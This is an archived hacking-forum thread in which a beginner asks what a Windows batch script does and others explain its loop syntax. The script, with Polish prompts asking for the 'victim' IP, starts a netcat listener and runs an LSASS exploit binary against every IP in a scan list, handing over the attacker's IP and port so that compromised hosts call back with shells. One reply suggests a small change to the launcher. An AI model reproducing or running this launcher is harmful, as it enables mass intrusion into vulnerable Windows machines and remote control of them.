hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

iLLuSioN
K ive been lookin at auto hackers and all , im tryin to learn commands and all.. i saw this and have no clue what it does can anyone help..
CODE

echo.
@echo off
@echo  0=W2k
@echo  1=XP
set/p vsn=
@echo Wpisz Ip Ofiary:
set /p ip=
@echo Wybierz Port NetCat nasluchujacy na (dowolny np: 1337):
set /p port=
@echo Uruchomione NetCat:
start nc.exe -vv -L -p %port%
@echo off
for /f "eol=; tokens=1*" %%i in (scan.txt) do lsass.exe %vsn% %%i %ip% %port%
pause
cls
@echo.
@echo Done
pause


Well i think it uses my ip and the port i put to the exe and all, but thing is i dont really understand the commands in this line and how they point to stuff like the port and ip that i put b4


CODE

for /f "eol=; tokens=1*" %%i in (scan.txt) do lsass.exe %vsn% %%i %ip% %port%



tweakz20
br34k 1t d0wn n0w... wink.gif

for /f "eol=; tokens=1*" %%i in (scan.txt) do lsass.exe %vsn% %%i %ip% %port%

for is a type of loop, the main part is:
for %%variable in (set) do command [parameters]
/f makes it able to do files

eol stands for end of line, that breaks for a new line when it comes to a semicolon

tokens-
specifies which tokens from each line are to be passed to the for body for each iteration. This will cause additional variable names to be allocated. The m-n form is a range, specifying the mth through the nth tokens. If the last character in the tokens= string is an asterisk, then an additional variable is allocated and receives the remaining text on the line after the last token parsed.

SO.. for every IP in scan.txt, connect with lsass to that IP.. simple enough
Ash
cheers i was wondering what token was for smile.gif
Kynroxes
I tkink you can add to this script, on this line :
CODE

"start nc.exe -vv -L -p %port%"

this ...
CODE

cmd /c start nc.exe -vv -L -p %port%

in order to upgrade it only lol
iLLuSioN
Thanks alot tweakz made it very clear it was always bothering me,

Kynroxes Thanks for tryin to help but got that part already just that the eol and token part i never really understood it..

6066up9r
the first way is better in my opinion
ph34r.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.